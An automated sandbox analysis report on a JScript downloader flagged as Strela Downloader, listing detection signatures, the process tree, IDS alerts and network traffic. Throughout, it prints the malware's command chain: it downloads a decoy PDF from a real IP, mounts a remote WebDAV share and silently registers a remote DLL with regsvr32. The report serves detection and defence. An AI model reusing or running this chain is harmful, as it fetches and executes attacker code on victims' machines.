Edit tour

Windows Analysis Report
1187225758523111660.js

Overview

General Information

Sample name:	1187225758523111660.js
Analysis ID:	1588382
MD5:	cd921d8fc4952881df07c9063bf54bd0
SHA1:	4425c18dfc4af8565dcdc4c1bf9f3aed99116a45
SHA256:	2bec476f109d60b3edb1d31edb579a4b1181563c8de0598cdf942f8561c9b02c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7324 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7376 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7428 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7804 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8000 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,11986598868323406521,12536262315050438690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7612 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7872 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7324	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7376, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7376, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ProcessId: 7324, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7652, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ProcessId: 7376, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ProcessId: 7376, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ProcessId: 7376, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ProcessId: 7376, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ProcessId: 7376, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ProcessId: 7324, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7376, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7872, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll, ProcessId: 7376, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:40:28.945192+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:40:31.123651+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:40:28.945192+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1187225758523111660.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1187225758523111660.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:40:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
